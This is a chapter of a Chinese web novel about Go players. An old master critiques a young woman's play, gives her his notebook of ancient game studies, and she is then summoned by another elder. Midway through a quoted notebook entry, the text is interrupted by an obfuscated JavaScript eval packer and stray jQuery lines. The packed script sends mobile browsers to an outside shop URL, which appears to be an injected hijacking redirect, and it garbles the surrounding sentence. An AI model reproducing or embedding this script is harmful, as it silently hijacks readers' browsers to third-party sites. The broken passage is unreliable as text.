棋至中盘,棋盘上呈现出一种奇特的景象。
黑棋的中腹确实厚壮如铁壁,潜力巨大。
但相应的,在四个边角,白棋已悄然攫取了可观的实地。
白棋的数块孤棋看似飘摇,却彼此呼应,留有活路,并未被黑棋的厚势完全吞没。
黑棋的“势”像一张慢慢收紧的网,白棋的“地”和未安定的棋形,随时可能挣脱,也随时可能被彻底缠死。
陆守拙的眉头锁紧,目光如炬,扫过棋盘的每一个交叉点,计算着后续变化的各种可能。
手里的黑子,迟迟没有落下。
这盘棋没有胜负压力,本该更从容。
但对手那种不拘一格、却又每每能在关键时刻找到“筋”和“形”的应对,让他惯常的节奏被打乱。
力量被吸收、分散,然后从意想不到的角度传来微弱的反弹。
严争玉的背脊挺得笔直,右手拇指无声地抵在食指上,轻轻摩挲。
她同样在全神贯注地计算。
额角渗出的汗,被她悄无声息地拭去。
陆守拙的厚势并非虚张声势,那是实实在在的压迫,基于恐怖的计算深度和形势判断。
她必须在确保自身白棋安全的前提下,最大限度地限制黑棋中腹潜力的转化。
这其中的分寸,失之毫厘,便是满盘皆输的隐患。
时间在无声的攻防中流逝。
纯粹智力上的巨大消耗,让她感到一种久违的兴奋。
窗外的天色似乎暗淡了一些,室内依旧被柔和的灯光笼罩。
在又一次长考后,陆守拙将手中的黑子缓缓放回了棋罐。
“就到这里吧。”
他沙哑的声音打破了持续数小时的寂静。
严争玉一怔,抬眼看他。
按照棋局进程,虽然复杂,但远未到终局,还有很多地方可以争夺。
陆守拙似乎看出了她的疑惑,
“再下下去,无非是细棋官子,拼的是体力,不是棋道。现在的局面,够了。”
他身体前倾,枯瘦的手指指向中腹白棋一手轻灵的“飞镇”。
“这里,看似飘逸,限制了黑势扩张,但你自己看,右下白棋尚未完全安定,这一‘飞’与它的联络其实薄弱。若我在此处...”
他的手指重重敲在另一个交叉点,
“强行分断,缠绕攻击,你如何应对?“
严争玉的目光随着他的手指移动,脑海中在飞快推演。
“你的棋,灵巧有余,根基却浮。遇上秦骁那种力战派,或者计算更深沉的对手,这里就是突破口。”
片刻后,严争玉缓缓点头:
“前辈指教的是。这一手,确有贪图效率、忽略自身弱点的嫌疑。但...”
她停顿了一下,抬起眼眸,不卑不亢地看向陆守拙,
“前辈为了构筑中腹厚势,您在左上和右下付出的实地代价是否过高?在现代快棋赛中,对手未必会给您足够的时间,将这般浩大的潜力转化为实实在在的目数。有时,过于厚重的‘势’,反而会成为行棋的负担,迟缓了节奏。”
陆守拙看着她,半晌没说话。
忽然,他从鼻子里哼了一声,
“牙尖嘴利。不过...棋,还行。”
严争玉注意到,他紧锁的眉头似乎松开了一丝。
陆守拙站起身,动作因久坐而有些迟缓。
他走到靠墙的红木书架前,略一搜寻,抽出一本用蓝色布面包裹笔记本。
他拿着笔记本走回来,用指腹缓缓摩挲了一下封面。
“我年轻时痴迷古谱,到处寻访,打谱记下了一些心得。”
他打开布匹,将笔记本放置在棋盘旁边,推给严争玉。
“拿去。或许...对你有点用。
“里面对古谱招法的拆解,也有我自己尝试将其融入现代棋理的胡思乱想...大多不成体系,你看过便罢。”
她双手接过笔记本,触手是纸张特有的干燥质感,还有岁月沉淀下的微凉。
“谢谢陆老。”
陆守拙闭上眼,挥了挥手,示意她可以走了。
“你走吧。棋道漫长,今天这盘,只是开始。记住,风浪...还在后面。”
他们之间比起和解,更像是一种...审判过后的暂缓判决。
严争玉将笔记本仔细收好,起身对着闭目养神的陆守拙微微躬身。
然后转身,轻轻拉开移门,走了出去。
听松斋外,暮色已然四合。
晚风带着凉意吹来,拂动她颊边的碎发。
她深深吸了一口气,沿着来时的青石板路离开。
晚风带着山间特有的清冽,拂过严争玉的脸颊。
听松斋的灯光在身后渐远,融进深浓的暮色里,像一枚即将熄灭的炭火。
院门外,那辆熟悉的黑色轿车静静停着。
贺其年靠在车门边,指尖夹着一支未点燃的烟。
见她出来,她将烟收进金属烟盒。
金属烟盒关上时,发出“咔哒”一声。
“怎么样?”
他拉开车门,目光担忧地停留在她脸上。
“下了半盘棋。”
严争玉坐进车里,扬了扬手中的笔记本。
“他给了我这个。”
贺其年坐进驾驶座,发动车子。
他侧头看了一眼那本陈旧的笔记本,眉梢微挑。
“陆守拙的...心得笔记?”
“嗯。”
车子缓缓驶离山道,严争玉翻开笔记本。
泛黄的宣纸,墨迹有些晕开,但字迹依旧筋骨分明,力透纸背。
【天元诡变谱】
旁边还有一行蝇头小楷,墨色稍淡:
【此谱凶险,非心志坚定者不可研习。】
严争玉的指尖在拂过“凶险”二字。
前世她也见过不少被称为“凶险”的棋谱,多是些剑走偏锋、杀机四伏的诡道,往往需要棋手有极强的中盘战斗力和冒险精神。
陆守拙年轻时,竟钻研过这种东西?
她继续往后翻。
笔记并非完整的棋谱记录,更像是随想与批注。
一页页看过去,有对古谱残局的推演,有对某些定式变招的质疑,也有大量潦草的手绘局部图,旁边密密麻麻写着计算过程和心得。
“第七十三手,若不应‘靠’,而反‘夹’,则白棋气紧...妙!原来此处可解。”
“《忘忧清乐集》中‘镇神头’一式,今人多以为仅取外势,然细究其后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17670559|201938||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
续变化,实藏十三路连环劫材,古人谋算之深,令人悚然。”
“余尝与东瀛棋客对弈,见其‘大斜’变招诡异,几中圈套。后思之三日,得破解之法,然已失先机。棋道如兵道,知彼在先。”
严争玉一页页翻动,看得又慢又仔细。
有些观点与她前世所学暗合,仿佛隔世知音;
有些推演则角度刁钻,给她打开了新的思路。
窗外夜色流动,贺其年从后视镜里看她一眼。
“看出什么了?”
严争玉长舒一口气,合上笔记本,有些疲惫的望向窗外。
路灯飞掠而过,只剩下流动的光影。
“他很矛盾。笔记里许多想法其实很‘新’,甚至有些激进。但他后来下的棋,还有他坚持的那些规矩...”
“人年轻时候,谁没点离经叛道的念头。坐到位子上以后,想法自然就变了。规矩能保护既得利益,也能筛掉不听话的人。”
贺其年淡淡道。
严争玉沉默片刻。
“他把这个给我,算是和解吗?”
贺其年打了半圈方向盘,车子拐入主干道。
“或许是认可。或许...也想看看,你能从他的‘旧东西’里,走出什么样的‘新路’。”
手机在这时震动起来。
严争玉看了眼来电显示,按下接听。
一个熟悉又古怪的嗓音传来,背景音里还有哗啦啦的洗牌声。
“丫头,听说你今天和陆守拙对弈?”
“嗯。他给了我一本笔记。”
吴忘言不可置信地调侃道:
“陆老头把那本破笔记给你了?啧,太阳打西边出来了,那老家伙抠门得很。”
严争玉稍稍坐直了些,没有接话。
“他那本东西,消化不好容易噎着。里面有些想法...嘿,跟他现在端着的那个架子可不太一样。不过...”
他拖长了调子,语气变得意味深长,
“这老狐狸,倒是舍得下本钱。看来你是真把他的‘老骨头’敲出响来了。能让他把压箱底的东西拿出来,丫头,你这半盘棋,下得不简单啊。“
“吴老...”
“别叫我老,我年轻着呢。”
吴忘言哼了一声,洗牌声停了,
“让贺小子送你来一趟,我也有东西要给你。”
......
吴忘言的小院,在夜色里亮着昏黄的灯。
严争玉推门,老人正蹲在廊下,往炭炉里扇风。
院子里,飘满茶香。
见她过来,吴忘言头也不抬,努努嘴,示意她在旁边的石凳坐下。
不久之后,老人递上一杯刚焙好的茶。
严争玉接过烫茶,
“您叫我来,要给我什么?”
吴忘言吹了吹自己杯里的茶沫,抿了一口,
“急什么。先喝。”
严争玉耐着性子,喝了那杯茶。
茶味浓烈,带着炭火的焦香,入喉有些涩,但回甘很快。
喝完茶后,吴忘言慢悠悠地起身,走进屋里。
过了好一会儿才出来,手里拎着一个浅绿色布匹的包裹,搁在石桌上。
“看看吧。”
......